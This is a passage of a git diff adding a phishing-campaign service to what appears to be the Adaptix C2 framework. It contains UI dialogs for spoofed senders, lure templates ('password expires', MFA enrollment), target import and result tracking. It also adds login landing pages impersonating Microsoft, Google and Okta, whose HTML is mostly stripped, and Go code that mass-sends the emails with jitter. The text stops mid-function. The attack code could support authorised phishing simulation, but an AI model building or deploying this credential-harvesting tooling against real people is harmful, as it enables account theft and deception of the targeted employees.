+// ============================================================================
+// New Campaign Dialog
+// ============================================================================
+
+function showNewCampaignDialog() {
+ let dialog = form.create_dialog("New Phishing Campaign");
+ dialog.setSize(920, 700);
+
+ // ======================= Form fields =======================
+
+ let txtName = form.create_textline("");
+ txtName.setPlaceholder("Q1-2025 Password Audit - Finance Dept");
+ let txtSubject = form.create_textline("");
+ txtSubject.setPlaceholder("Action Required: Your password expires in 24 hours");
+ let txtSenderEmail = form.create_textline("");
+ txtSenderEmail.setPlaceholder("it-security@contoso.com");
+ let txtSenderName = form.create_textline("");
+ txtSenderName.setPlaceholder("IT Service Desk");
+
+ let txtSmtpHost = form.create_textline("");
+ txtSmtpHost.setPlaceholder("smtp.gmail.com");
+ let spinSmtpPort = form.create_spin();
+ spinSmtpPort.setRange(1, 65535);
+ spinSmtpPort.setValue(587);
+ let txtSmtpUser = form.create_textline("");
+ txtSmtpUser.setPlaceholder("relay@yourdomain.com");
+ let txtSmtpPass = form.create_textline("");
+ txtSmtpPass.setPlaceholder("App password or SMTP credential");
+ let chkSmtpTLS = form.create_check("Enable TLS");
+ chkSmtpTLS.setChecked(true);
+
+ let cmbTemplate = form.create_combo();
+ let cmbLander = form.create_combo();
+ if (cachedTemplates && cachedTemplates.length > 0) {
+ for (let i = 0; i < cachedTemplates.length; i++) cmbTemplate.addItem(cachedTemplates[i]);
+ }
+ if (cachedLanders && cachedLanders.length > 0) {
+ for (let i = 0; i < cachedLanders.length; i++) cmbLander.addItem(cachedLanders[i]);
+ }
+
+ let txtBaseURL = form.create_textline("");
+ txtBaseURL.setPlaceholder("https://portal-auth.contoso.com");
+ let txtRedirectURL = form.create_textline("https://login.microsoftonline.com");
+ let chkTrackOpens = form.create_check("Track email opens (1x1 tracking pixel)");
+ chkTrackOpens.setChecked(true);
+ let chkTrackClicks = form.create_check("Track link clicks (redirect through server)");
+ chkTrackClicks.setChecked(true);
+ let spinDelay = form.create_spin();
+ spinDelay.setRange(0, 300);
+ spinDelay.setValue(3);
+
+ // Preview browser
+ let previewBrowser = form.create_textbrowser();
+ activePreview = previewBrowser;
+
+ // ======================= Layout =======================
+
+ let pageLayout = form.create_vlayout();
+
+ // --- Campaign Identity ---
+ let identGrid = form.create_gridlayout();
+ identGrid.addWidget(form.create_label("Name *"), 0, 0);
+ identGrid.addWidget(txtName, 0, 1);
+ identGrid.addWidget(form.create_label("Subject *"), 1, 0);
+ identGrid.addWidget(txtSubject, 1, 1);
+
+ let identInner = form.create_panel();
+ identInner.setLayout(identGrid);
+ let grpIdent = form.create_groupbox("Campaign Identity", false);
+ grpIdent.setPanel(identInner);
+ pageLayout.addWidget(grpIdent);
+
+ // --- Sender ---
+ let senderGrid = form.create_gridlayout();
+ senderGrid.addWidget(form.create_label("Email *"), 0, 0);
+ senderGrid.addWidget(txtSenderEmail, 0, 1);
+ senderGrid.addWidget(form.create_label("Display Name"), 1, 0);
+ senderGrid.addWidget(txtSenderName, 1, 1);
+
+ let senderInner = form.create_panel();
+ senderInner.setLayout(senderGrid);
+ let grpSender = form.create_groupbox("Sender (From)", false);
+ grpSender.setPanel(senderInner);
+ pageLayout.addWidget(grpSender);
+
+ // --- SMTP Server ---
+ let smtpGrid = form.create_gridlayout();
+ smtpGrid.addWidget(form.create_label("Host *"), 0, 0);
+ smtpGrid.addWidget(txtSmtpHost, 0, 1);
+ smtpGrid.addWidget(form.create_label("Port"), 1, 0);
+ let portRow = form.create_hlayout();
+ portRow.addWidget(spinSmtpPort);
+ portRow.addWidget(form.create_label(" 587=STARTTLS 465=SMTPS 25=Plain"));
+ let portPanel = form.create_panel();
+ portPanel.setLayout(portRow);
+ smtpGrid.addWidget(portPanel, 1, 1);
+ smtpGrid.addWidget(form.create_label("Username"), 2, 0);
+ smtpGrid.addWidget(txtSmtpUser, 2, 1);
+ smtpGrid.addWidget(form.create_label("Password"), 3, 0);
+ smtpGrid.addWidget(txtSmtpPass, 3, 1);
+ smtpGrid.addWidget(chkSmtpTLS, 4, 1);
+
+ let smtpInner = form.create_panel();
+ smtpInner.setLayout(smtpGrid);
+ let grpSmtp = form.create_groupbox("SMTP Server", false);
+ grpSmtp.setPanel(smtpInner);
+ pageLayout.addWidget(grpSmtp);
+
+ // --- Content & Preview (splitter) ---
+ let contentGrid = form.create_gridlayout();
+ contentGrid.addWidget(form.create_label("Email Template"), 0, 0);
+ contentGrid.addWidget(cmbTemplate, 0, 1);
+ contentGrid.addWidget(form.create_label("Landing Page"), 1, 0);
+ contentGrid.addWidget(cmbLander, 1, 1);
+
+ // Template descriptions table
+ let tplDesc = form.create_table(["Template", "Scenario", "Best paired with"]);
+ tplDesc.setReadOnly(true);
+ tplDesc.setSortingEnabled(false);
+ tplDesc.setHeadersVisible(true);
+ tplDesc.addItem(["password_expiry", "Password expiration alert", "microsoft_login"]);
+ tplDesc.addItem(["shared_document", "SharePoint file share", "microsoft_login"]);
+ tplDesc.addItem(["voicemail_notification", "Teams voicemail received", "microsoft_login"]);
+ tplDesc.addItem(["helpdesk_ticket", "IT support ticket opened", "okta_login"]);
+ tplDesc.addItem(["mfa_setup", "MFA enrollment required", "okta_login"]);
+ tplDesc.addItem(["default_email", "Generic document review", "default_login"]);
+
+ // Left side: combos + reference table
+ let leftLayout = form.create_vlayout();
+ let contentGridPanel = form.create_panel();
+ contentGridPanel.setLayout(contentGrid);
+ leftLayout.addWidget(contentGridPanel);
+ leftLayout.addWidget(tplDesc);
+
+ let leftPanel = form.create_panel();
+ leftPanel.setLayout(leftLayout);
+
+ // Right side: HTML preview
+ let rightLayout = form.create_vlayout();
+ rightLayout.addWidget(form.create_label("Preview"));
+ rightLayout.addWidget(previewBrowser);
+
+ let rightPanel = form.create_panel();
+ rightPanel.setLayout(rightLayout);
+
+ // Splitter: left controls | right preview
+ let contentSplitter = form.create_hsplitter();
+ contentSplitter.addPage(leftPanel);
+ contentSplitter.addPage(rightPanel);
+ contentSplitter.setSizes([320, 540]);
+
+ let contentSplitLayout = form.create_vlayout();
+ contentSplitLayout.addWidget(contentSplitter);
+
+ let contentInner = form.create_panel();
+ contentInner.setLayout(contentSplitLayout);
+ let grpContent = form.create_groupbox("Content & Preview", false);
+ grpContent.setPanel(contentInner);
+ pageLayout.addWidget(grpContent);
+
+ // Connect combos to preview
+ form.connect(cmbTemplate, "currentTextChanged", function(text) {
+ if (text) ax.service_command("Phishing", "template_preview", {type: "template", name: text});
+ });
+ form.connect(cmbLander, "currentTextChanged", function(text) {
+ if (text) ax.service_command("Phishing", "template_preview", {type: "lander", name: text});
+ });
+
+ // Load initial preview for the first selected template
+ if (cmbTemplate.currentText()) {
+ ax.service_command("Phishing", "template_preview", {type: "template", name: cmbTemplate.currentText()});
+ }
+
+ // --- Tracking & Delivery ---
+ let trackGrid = form.create_gridlayout();
+ trackGrid.addWidget(form.create_label("Base URL *"), 0, 0);
+ trackGrid.addWidget(txtBaseURL, 0, 1);
+ trackGrid.addWidget(form.create_label("Redirect URL"), 1, 0);
+ trackGrid.addWidget(txtRedirectURL, 1, 1);
+ trackGrid.addWidget(chkTrackOpens, 2, 1);
+ trackGrid.addWidget(chkTrackClicks, 3, 1);
+ trackGrid.addWidget(form.create_label("Send Delay (s)"), 4, 0);
+ let delayRow = form.create_hlayout();
+ delayRow.addWidget(spinDelay);
+ delayRow.addWidget(form.create_label(" Seconds between each email sent"));
+ let delayPanel = form.create_panel();
+ delayPanel.setLayout(delayRow);
+ trackGrid.addWidget(delayPanel, 4, 1);
+
+ let trackInner = form.create_panel();
+ trackInner.setLayout(trackGrid);
+ let grpTrack = form.create_groupbox("Tracking & Delivery", false);
+ grpTrack.setPanel(trackInner);
+ pageLayout.addWidget(grpTrack);
+
+ // --- Spacer at bottom ---
+ pageLayout.addWidget(form.create_vspacer());
+
+ // --- Scrollable container ---
+ let scrollContent = form.create_panel();
+ scrollContent.setLayout(pageLayout);
+ let scrollArea = form.create_scrollarea();
+ scrollArea.setPanel(scrollContent);
+ scrollArea.setWidgetResizable(true);
+
+ let mainLayout = form.create_vlayout();
+ mainLayout.addWidget(scrollArea);
+ dialog.setLayout(mainLayout);
+
+ let accepted = dialog.exec();
+ activePreview = null;
+
+ if (accepted === true) {
+ let campaign = {
+ name: txtName.text(),
+ subject: txtSubject.text(),
+ sender_email: txtSenderEmail.text(),
+ sender_name: txtSenderName.text(),
+ smtp_host: txtSmtpHost.text(),
+ smtp_port: spinSmtpPort.value(),
+ smtp_user: txtSmtpUser.text(),
+ smtp_pass: txtSmtpPass.text(),
+ smtp_tls: chkSmtpTLS.isChecked(),
+ template: cmbTemplate.currentText(),
+ lander: cmbLander.currentText(),
+ base_url: txtBaseURL.text(),
+ redirect_url: txtRedirectURL.text(),
+ track_opens: chkTrackOpens.isChecked(),
+ track_clicks: chkTrackClicks.isChecked(),
+ send_delay: spinDelay.value()
+ };
+
+ if (!campaign.name || !campaign.smtp_host || !campaign.sender_email || !campaign.base_url) {
+ ax.show_message("Error", "Required fields: Campaign Name, SMTP Host, Sender Email, Base URL");
+ return;
+ }
+
+ ax.service_command("Phishing", "campaign_create", campaign);
+ }
+}
+
+// ============================================================================
+// Targets Dialog
+// ============================================================================
+
+function showTargetsDialog(campaignID, targets) {
+ let dialog = form.create_ext_dialog("Targets - Campaign");
+ dialog.setSize(700, 500);
+
+ let mainLayout = form.create_vlayout();
+
+ // Toolbar
+ let toolbar = form.create_hlayout();
+ let btnImport = form.create_button("Import CSV");
+ let btnDelete = form.create_button("Delete Selected");
+ toolbar.addWidget(btnImport);
+ toolbar.addWidget(btnDelete);
+ toolbar.addWidget(form.create_hspacer());
+
+ let tgtToolbarPanel = form.create_panel();
+ tgtToolbarPanel.setLayout(toolbar);
+ mainLayout.addWidget(tgtToolbarPanel);
+
+ // Table
+ let tgtTable = form.create_table(["Email", "First Name", "Last Name", "Position", "Company"]);
+ tgtTable.setSortingEnabled(true);
+ tgtTable.setReadOnly(true);
+
+ if (targets) {
+ for (let i = 0; i < targets.length; i++) {
+ let t = targets[i];
+ tgtTable.addItem([t.email, t.first_name, t.last_name, t.position, t.company]);
+ }
+ }
+ mainLayout.addWidget(tgtTable);
+
+ dialog.setLayout(mainLayout);
+
+ form.connect(btnImport, "clicked", function() {
+ let csvDialog = form.create_dialog("Import Targets (CSV)");
+ csvDialog.setSize(560, 450);
+
+ let csvLayout = form.create_vlayout();
+ csvLayout.addWidget(form.create_label("Paste CSV data or load a file. Columns: email, first_name, last_name, position, company"));
+ csvLayout.addWidget(form.create_label("The first row must be column headers. Only 'email' is required."));
+ let csvText = form.create_textmulti("email,first_name,last_name,position,company\njohn.doe@contoso.com,John,Doe,CFO,Contoso Ltd\njane.smith@contoso.com,Jane,Smith,IT Manager,Contoso Ltd\n");
+ csvLayout.addWidget(csvText);
+
+ let orLabel = form.create_label("Or load from file:");
+ csvLayout.addWidget(orLabel);
+
+ let btnFile = form.create_button("Load CSV File");
+ csvLayout.addWidget(btnFile);
+
+ form.connect(btnFile, "clicked", function() {
+ let path = ax.prompt_open_file("Select CSV file", "CSV Files (*.csv);;All Files (*)");
+ if (path) {
+ let content = ax.file_read(path);
+ if (content) {
+ csvText.setText(content);
+ }
+ }
+ });
+
+ csvDialog.setLayout(csvLayout);
+ if (csvDialog.exec() === true) {
+ let csv = csvText.text();
+ if (csv && csv.trim().length > 0) {
+ ax.service_command("Phishing", "targets_import", {
+ campaign_id: campaignID,
+ csv: csv
+ });
+ }
+ }
+ });
+
+ form.connect(btnDelete, "clicked", function() {
+ let rows = tgtTable.selectedRows();
+ if (rows.length === 0) return;
+
+ let ids = [];
+ for (let i = 0; i < rows.length; i++) {
+ if (targets && rows[i] < targets.length) {
+ ids.push(targets[rows[i]].id);
+ }
+ }
+
+ if (ids.length > 0 && ax.prompt_confirm("Delete Targets", "Delete " + ids.length + " selected target(s)?")) {
+ ax.service_command("Phishing", "targets_delete", {
+ campaign_id: campaignID,
+ ids: ids
+ });
+ }
+ });
+
+ dialog.show();
+}
+
+// ============================================================================
+// Results Dock
+// ============================================================================
+
+function createResultsDock() {
+ resultsDock = form.create_ext_dock("phishing_results", "Phishing Results", "");
+
+ let mainLayout = form.create_vlayout();
+
+ // Filter bar
+ let filterLayout = form.create_hlayout();
+ filterLayout.addWidget(form.create_label("Campaign:"));
+ campaignFilter = form.create_combo();
+ campaignFilter.addItem("-- All --");
+ filterLayout.addWidget(campaignFilter);
+
+ let btnExport = form.create_button("Export CSV");
+ let btnRefresh = form.create_button("Refresh");
+ filterLayout.addWidget(form.create_hspacer());
+ filterLayout.addWidget(btnExport);
+ filterLayout.addWidget(btnRefresh);
+
+ let filterPanel = form.create_panel();
+ filterPanel.setLayout(filterLayout);
+ mainLayout.addWidget(filterPanel);
+
+ // Table
+ resultsTable = form.create_table(["Campaign", "Email", "Name", "Status", "Sent", "Opened", "Clicked", "Submitted", "IP", "User Agent"]);
+ resultsTable.setSortingEnabled(true);
+ resultsTable.setReadOnly(true);
+ mainLayout.addWidget(resultsTable);
+
+ resultsDock.setLayout(mainLayout);
+ resultsDock.setSize(1000, 400);
+ resultsDock.show();
+
+ // Signals
+ form.connect(campaignFilter, "currentTextChanged", function(text) {
+ refreshResultsTable();
+ });
+
+ form.connect(btnExport, "clicked", function() {
+ let cid = getSelectedCampaignID();
+ if (cid) {
+ ax.service_command("Phishing", "results_export", {campaign_id: cid});
+ } else {
+ ax.show_message("Export", "Please select a specific campaign to export");
+ }
+ });
+
+ form.connect(btnRefresh, "clicked", function() {
+ loadAllResults();
+ });
+
+ form.connect(resultsTable, "cellDoubleClicked", function(row, col) {
+ showResultDetail(row);
+ });
+}
+
+function updateCampaignFilter() {
+ if (!campaignFilter) return;
+
+ let current = campaignFilter.currentText();
+ campaignFilter.clear();
+ campaignFilter.addItem("-- All --");
+
+ if (campaignsData) {
+ for (let i = 0; i < campaignsData.length; i++) {
+ campaignFilter.addItem(campaignsData[i].name);
+ }
+ }
+
+ // Restore selection
+ for (let i = 0; i < campaignFilter.count; i++) {
+ if (campaignFilter.itemText && campaignFilter.itemText(i) === current) {
+ campaignFilter.setCurrentIndex(i);
+ return;
+ }
+ }
+}
+
+function getSelectedCampaignID() {
+ if (!campaignFilter) return null;
+ let text = campaignFilter.currentText();
+ if (text === "-- All --") return null;
+
+ if (campaignsData) {
+ for (let i = 0; i < campaignsData.length; i++) {
+ if (campaignsData[i].name === text) {
+ return campaignsData[i].id;
+ }
+ }
+ }
+ return null;
+}
+
+function refreshResultsTable() {
+ if (!resultsTable) return;
+ resultsTable.setRowCount(0);
+
+ let filterCampaign = getSelectedCampaignID();
+
+ for (let cid in allResults) {
+ if (filterCampaign && cid !== filterCampaign) continue;
+
+ let campaignName = getCampaignNameByID(cid);
+ let results = allResults[cid];
+ if (!results) continue;
+
+ for (let i = 0; i < results.length; i++) {
+ let r = results[i];
+ let name = (r.first_name || "") + " " + (r.last_name || "");
+ let sentAt = r.sent_at ? ax.format_time("HH:mm:ss", r.sent_at) : "";
+ let openedAt = r.opened_at ? ax.format_time("HH:mm:ss", r.opened_at) : "";
+ let clickedAt = r.clicked_at ? ax.format_time("HH:mm:ss", r.clicked_at) : "";
+ let submitAt = r.submit_at ? ax.format_time("HH:mm:ss", r.submit_at) : "";
+
+ resultsTable.addItem([
+ campaignName,
+ r.email || "",
+ name.trim(),
+ r.status || "",
+ sentAt,
+ openedAt,
+ clickedAt,
+ submitAt,
+ r.remote_ip || "",
+ r.user_agent || ""
+ ]);
+ }
+ }
+}
+
+function getCampaignNameByID(id) {
+ if (campaignsData) {
+ for (let i = 0; i < campaignsData.length; i++) {
+ if (campaignsData[i].id === id) return campaignsData[i].name;
+ }
+ }
+ return id;
+}
+
+function showResultDetail(row) {
+ // Collect result data from the table row for display
+ let campaign = resultsTable.text(row, 0);
+ let email = resultsTable.text(row, 1);
+ let name = resultsTable.text(row, 2);
+ let status = resultsTable.text(row, 3);
+ let ip = resultsTable.text(row, 8);
+ let ua = resultsTable.text(row, 9);
+
+ let detail = "Campaign: " + campaign + "\n" +
+ "Email: " + email + "\n" +
+ "Name: " + name + "\n" +
+ "Status: " + status + "\n" +
+ "IP: " + ip + "\n" +
+ "User Agent: " + ua;
+
+ ax.show_message("Result Detail", detail);
+}
+
+// ============================================================================
+// Event Handling
+// ============================================================================
+
+function handleEvent(eventType, data) {
+ if (!data || !data.campaign_id) return;
+
+ let cid = data.campaign_id;
+ let result = data.result;
+
+ // Update local results cache
+ if (result && allResults[cid]) {
+ let found = false;
+ for (let i = 0; i < allResults[cid].length; i++) {
+ if (allResults[cid][i].id === result.id) {
+ allResults[cid][i] = result;
+ found = true;
+ break;
+ }
+ }
+ if (!found) {
+ allResults[cid].push(result);
+ }
+ } else if (result && !allResults[cid]) {
+ allResults[cid] = [result];
+ }
+
+ refreshResultsTable();
+
+ // Also refresh campaign stats
+ ax.service_command("Phishing", "campaign_list", {});
+}
+
+// ============================================================================
+// Data Loading
+// ============================================================================
+
+function loadInitialData() {
+ ax.service_command("Phishing", "campaign_list", {});
+ ax.service_command("Phishing", "templates_list", {});
+ ax.service_command("Phishing", "landers_list", {});
+ loadAllResults();
+}
+
+function loadAllResults() {
+ if (campaignsData) {
+ for (let i = 0; i < campaignsData.length; i++) {
+ ax.service_command("Phishing", "results_list", {campaign_id: campaignsData[i].id});
+ }
+ }
+}
diff --git a/AdaptixServer/extenders/phishing_service/config.yaml b/AdaptixServer/extenders/phishing_service/config.yaml
new file mode 100644
index 000000000..14a844cc4
--- /dev/null
+++ b/AdaptixServer/extenders/phishing_service/config.yaml
@@ -0,0 +1,5 @@
+extender_type: "service"
+extender_file: "service_phishing.so"
+ax_file: "ax_config.axs"
+service_name: "Phishing"
+service_config: ""
diff --git a/AdaptixServer/extenders/phishing_service/go.mod b/AdaptixServer/extenders/phishing_service/go.mod
new file mode 100644
index 000000000..8c43b8f3d
--- /dev/null
+++ b/AdaptixServer/extenders/phishing_service/go.mod
@@ -0,0 +1,5 @@
+module adaptix_service_phishing
+
+go 1.25.4
+
+require github.com/Adaptix-Framework/axc2 v1.2.0
diff --git a/AdaptixServer/extenders/phishing_service/go.sum b/AdaptixServer/extenders/phishing_service/go.sum
new file mode 100644
index 000000000..8889bb84d
--- /dev/null
+++ b/AdaptixServer/extenders/phishing_service/go.sum
@@ -0,0 +1,2 @@
+github.com/Adaptix-Framework/axc2 v1.2.0 h1:WYEg502NTTtX1tQJUz2AaC2dmm/bS/1L1iOHOQ5kEYA=
+github.com/Adaptix-Framework/axc2 v1.2.0/go.mod h1:3oJyFeRVIql1RTsNa0meEqK3+P+6JTAMMjMdVyXhbaQ=
diff --git a/AdaptixServer/extenders/phishing_service/landers/default_login.html b/AdaptixServer/extenders/phishing_service/landers/default_login.html
new file mode 100644
index 000000000..4bb1379c3
--- /dev/null
+++ b/AdaptixServer/extenders/phishing_service/landers/default_login.html
@@ -0,0 +1,116 @@
+
+
+
+
+
+Sign In
+
+
+
+
+
Sign in
+
+
{{.Email}}
+
+
+
+
+
+
+
diff --git a/AdaptixServer/extenders/phishing_service/landers/google_login.html b/AdaptixServer/extenders/phishing_service/landers/google_login.html
new file mode 100644
index 000000000..b4e911465
--- /dev/null
+++ b/AdaptixServer/extenders/phishing_service/landers/google_login.html
@@ -0,0 +1,73 @@
+
+
+
+
+
+Sign in - Google Accounts
+
+
+
+
+
+Google
+
+
+
Welcome
+
+
+
+
+
+
+
+
diff --git a/AdaptixServer/extenders/phishing_service/landers/microsoft_login.html b/AdaptixServer/extenders/phishing_service/landers/microsoft_login.html
new file mode 100644
index 000000000..fa2a0eb87
--- /dev/null
+++ b/AdaptixServer/extenders/phishing_service/landers/microsoft_login.html
@@ -0,0 +1,77 @@
+
+
+
+
+
+Sign in to your account
+
+
+
+
+
+
+
+
+
Sign in
+
+
+{{.FirstName}}
+{{.Email}}
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/AdaptixServer/extenders/phishing_service/landers/okta_login.html b/AdaptixServer/extenders/phishing_service/landers/okta_login.html
new file mode 100644
index 000000000..ef47095cf
--- /dev/null
+++ b/AdaptixServer/extenders/phishing_service/landers/okta_login.html
@@ -0,0 +1,76 @@
+
+
+
+
+
+Sign In
+
+
+
+
+
+
{{.Company}}
+
Powered by Okta
+
+
+
+
+
+
+
+
+
diff --git a/AdaptixServer/extenders/phishing_service/pl_campaign.go b/AdaptixServer/extenders/phishing_service/pl_campaign.go
new file mode 100644
index 000000000..793147acd
--- /dev/null
+++ b/AdaptixServer/extenders/phishing_service/pl_campaign.go
@@ -0,0 +1,643 @@
+package main
+
+import (
+ "bytes"
+ "crypto/tls"
+ "encoding/json"
+ "fmt"
+ "math/rand"
+ "net/smtp"
+ "os"
+ "path/filepath"
+ "strings"
+ "time"
+)
+
+// ============================================================================
+// Call Handlers
+// ============================================================================
+
+func (s *PhishingService) HandleCampaignCreate(operator string, args string) {
+ var c Campaign
+ if err := json.Unmarshal([]byte(args), &c); err != nil {
+ s.sendError(operator, "Invalid campaign data: "+err.Error())
+ return
+ }
+
+ c.ID = generateID()
+ c.Status = "draft"
+ c.CreatedAt = nowUnix()
+ c.CreatedBy = operator
+
+ if c.RedirectURL == "" {
+ c.RedirectURL = "https://login.microsoftonline.com"
+ }
+ if c.SendDelay == 0 {
+ c.SendDelay = 3
+ }
+
+ if err := s.SaveCampaign(c); err != nil {
+ s.sendError(operator, "Failed to save campaign: "+err.Error())
+ return
+ }
+
+ s.sendResponseAll("campaigns", s.ListCampaignsWithStats())
+}
+
+func (s *PhishingService) HandleCampaignList(operator string) {
+ s.sendResponseClient(operator, "campaigns", s.ListCampaignsWithStats())
+}
+
+func (s *PhishingService) HandleCampaignDelete(operator string, args string) {
+ var req struct {
+ ID string `json:"id"`
+ }
+ if err := json.Unmarshal([]byte(args), &req); err != nil {
+ s.sendError(operator, "Invalid request")
+ return
+ }
+
+ s.mu.Lock()
+ if ch, ok := s.stopChans[req.ID]; ok {
+ close(ch)
+ delete(s.stopChans, req.ID)
+ }
+ s.mu.Unlock()
+
+ s.DeleteCampaign(req.ID)
+ s.sendResponseAll("campaigns", s.ListCampaignsWithStats())
+}
+
+func (s *PhishingService) HandleCampaignStart(operator string, args string) {
+ var req struct {
+ ID string `json:"id"`
+ }
+ if err := json.Unmarshal([]byte(args), &req); err != nil {
+ s.sendError(operator, "Invalid request")
+ return
+ }
+
+ campaign, err := s.LoadCampaign(req.ID)
+ if err != nil {
+ s.sendError(operator, "Campaign not found")
+ return
+ }
+
+ if campaign.Status == "running" {
+ s.sendError(operator, "Campaign is already running")
+ return
+ }
+
+ targets := s.LoadTargets(campaign.ID)
+ if len(targets) == 0 {
+ s.sendError(operator, "No targets for this campaign")
+ return
+ }
+
+ campaign.Status = "running"
+ s.SaveCampaign(campaign)
+
+ stopChan := make(chan struct{})
+ s.mu.Lock()
+ s.stopChans[campaign.ID] = stopChan
+ s.mu.Unlock()
+
+ s.sendResponseAll("campaigns", s.ListCampaignsWithStats())
+
+ go s.SendCampaign(operator, campaign, targets, stopChan)
+}
+
+func (s *PhishingService) HandleCampaignStop(operator string, args string) {
+ var req struct {
+ ID string `json:"id"`
+ }
+ if err := json.Unmarshal([]byte(args), &req); err != nil {
+ s.sendError(operator, "Invalid request")
+ return
+ }
+
+ s.mu.Lock()
+ if ch, ok := s.stopChans[req.ID]; ok {
+ close(ch)
+ delete(s.stopChans, req.ID)
+ }
+ s.mu.Unlock()
+
+ campaign, err := s.LoadCampaign(req.ID)
+ if err != nil {
+ return
+ }
+ campaign.Status = "paused"
+ s.SaveCampaign(campaign)
+ s.sendResponseAll("campaigns", s.ListCampaignsWithStats())
+}
+
+func (s *PhishingService) HandleTargetsImport(operator string, args string) {
+ var req struct {
+ CampaignID string `json:"campaign_id"`
+ CSV string `json:"csv"`
+ }
+ if err := json.Unmarshal([]byte(args), &req); err != nil {
+ s.sendError(operator, "Invalid request")
+ return
+ }
+
+ existing := s.LoadTargets(req.CampaignID)
+ newTargets := parseCSV(req.CSV, req.CampaignID)
+
+ combined := append(existing, newTargets...)
+ if err := s.SaveTargets(req.CampaignID, combined); err != nil {
+ s.sendError(operator, "Failed to save targets: "+err.Error())
+ return
+ }
+
+ s.sendResponseAll("targets", map[string]interface{}{
+ "campaign_id": req.CampaignID,
+ "targets": combined,
+ })
+ s.sendResponseAll("campaigns", s.ListCampaignsWithStats())
+}
+
+func (s *PhishingService) HandleTargetsList(operator string, args string) {
+ var req struct {
+ CampaignID string `json:"campaign_id"`
+ }
+ if err := json.Unmarshal([]byte(args), &req); err != nil {
+ s.sendError(operator, "Invalid request")
+ return
+ }
+
+ targets := s.LoadTargets(req.CampaignID)
+ s.sendResponseClient(operator, "targets", map[string]interface{}{
+ "campaign_id": req.CampaignID,
+ "targets": targets,
+ })
+}
+
+func (s *PhishingService) HandleTargetsDelete(operator string, args string) {
+ var req struct {
+ CampaignID string `json:"campaign_id"`
+ IDs []string `json:"ids"`
+ }
+ if err := json.Unmarshal([]byte(args), &req); err != nil {
+ s.sendError(operator, "Invalid request")
+ return
+ }
+
+ targets := s.LoadTargets(req.CampaignID)
+ idSet := make(map[string]bool)
+ for _, id := range req.IDs {
+ idSet[id] = true
+ }
+
+ var filtered []Target
+ for _, t := range targets {
+ if !idSet[t.ID] {
+ filtered = append(filtered, t)
+ }
+ }
+
+ s.SaveTargets(req.CampaignID, filtered)
+ s.sendResponseAll("targets", map[string]interface{}{
+ "campaign_id": req.CampaignID,
+ "targets": filtered,
+ })
+ s.sendResponseAll("campaigns", s.ListCampaignsWithStats())
+}
+
+func (s *PhishingService) HandleResultsList(operator string, args string) {
+ var req struct {
+ CampaignID string `json:"campaign_id"`
+ }
+ if err := json.Unmarshal([]byte(args), &req); err != nil {
+ s.sendError(operator, "Invalid request")
+ return
+ }
+
+ results := s.LoadResults(req.CampaignID)
+ s.sendResponseClient(operator, "results", map[string]interface{}{
+ "campaign_id": req.CampaignID,
+ "results": results,
+ })
+}
+
+func (s *PhishingService) HandleResultsExport(operator string, args string) {
+ var req struct {
+ CampaignID string `json:"campaign_id"`
+ }
+ if err := json.Unmarshal([]byte(args), &req); err != nil {
+ s.sendError(operator, "Invalid request")
+ return
+ }
+
+ results := s.LoadResults(req.CampaignID)
+ csv := resultsToCSV(results)
+ s.sendResponseClient(operator, "export", map[string]interface{}{
+ "campaign_id": req.CampaignID,
+ "csv": csv,
+ })
+}
+
+func (s *PhishingService) HandleTemplatesList(operator string) {
+ templates := s.listFiles("templates")
+ s.sendResponseClient(operator, "templates", templates)
+}
+
+func (s *PhishingService) HandleLandersList(operator string) {
+ landers := s.listFiles("landers")
+ s.sendResponseClient(operator, "landers", landers)
+}
+
+func (s *PhishingService) HandleTemplatePreview(operator string, args string) {
+ var req struct {
+ Type string `json:"type"` // "template" or "lander"
+ Name string `json:"name"`
+ }
+ if err := json.Unmarshal([]byte(args), &req); err != nil {
+ s.sendError(operator, "Invalid preview request")
+ return
+ }
+
+ var html string
+ if req.Type == "lander" {
+ html = s.loadLander(req.Name)
+ } else {
+ html = s.loadTemplate(req.Name)
+ }
+
+ if html == "" {
+ s.sendError(operator, "Template not found: "+req.Name)
+ return
+ }
+
+ // Replace template variables with example values
+ replacer := strings.NewReplacer(
+ "{{.FirstName}}", "John",
+ "{{.LastName}}", "Doe",
+ "{{.Email}}", "john.doe@contoso.com",
+ "{{.Company}}", "Contoso Ltd",
+ "{{.Position}}", "IT Manager",
+ "{{.ClickURL}}", "#",
+ "{{.TrackingURL}}", "#",
+ "{{.SubmitURL}}", "#",
+ "{{.Custom}}", "",
+ )
+ html = replacer.Replace(html)
+
+ resp := map[string]interface{}{
+ "preview_type": req.Type,
+ "name": req.Name,
+ "html": html,
+ }
+ s.sendResponseClient(operator, "preview", resp)
+}
+
+// ============================================================================
+// Campaign Sending
+// ============================================================================
+
+func (s *PhishingService) SendCampaign(operator string, campaign Campaign, targets []Target, stopChan chan struct{}) {
+ templateContent := s.loadTemplate(campaign.Template)
+ if templateContent == "" {
+ s.sendError(operator, "Failed to load email template: "+campaign.Template)
+ campaign.Status = "draft"
+ s.SaveCampaign(campaign)
+ s.sendResponseAll("campaigns", s.ListCampaignsWithStats())
+ return
+ }
+
+ results := s.LoadResults(campaign.ID)
+ sentIDs := make(map[string]bool)
+ for _, r := range results {
+ sentIDs[r.TargetID] = true
+ }
+
+ for _, target := range targets {
+ select {
+ case <-stopChan:
+ campaign.Status = "paused"
+ s.SaveCampaign(campaign)
+ s.sendResponseAll("campaigns", s.ListCampaignsWithStats())
+ return
+ default:
+ }
+
+ if sentIDs[target.ID] {
+ continue
+ }
+
+ trackingID := generateTrackingID()
+ result := Result{
+ ID: trackingID,
+ CampaignID: campaign.ID,
+ TargetID: target.ID,
+ Email: target.Email,
+ FirstName: target.FirstName,
+ LastName: target.LastName,
+ Status: "sending",
+ }
+
+ body := renderEmailTemplate(templateContent, campaign, target, trackingID)
+
+ err := sendEmail(campaign, target, body)
+ if err != nil {
+ result.Status = "error"
+ result.Error = err.Error()
+ } else {
+ result.Status = "sent"
+ result.SentAt = nowUnix()
+ }
+
+ results = append(results, result)
+ s.SaveResults(campaign.ID, results)
+
+ s.sendEvent("email_sent", result)
+
+ delay := campaign.SendDelay
+ if delay > 0 {
+ jitter := rand.Intn(delay/2+1) - delay/4
+ time.Sleep(time.Duration(delay+jitter) * time.Second)
+ }
+ }
+
+ campaign.Status = "completed"
+ s.SaveCampaign(campaign)
+ s.sendResponseAll("campaigns", s.ListCampaignsWithStats())
+}
+
+// ============================================================================
+// SMTP
+// ============================================================================
+
+func sendEmail(campaign Campaign, target Target, htmlBody string) error {
+ from := campaign.SenderEmail
+ to := target.Email
+
+ headers := make(map[string]string)
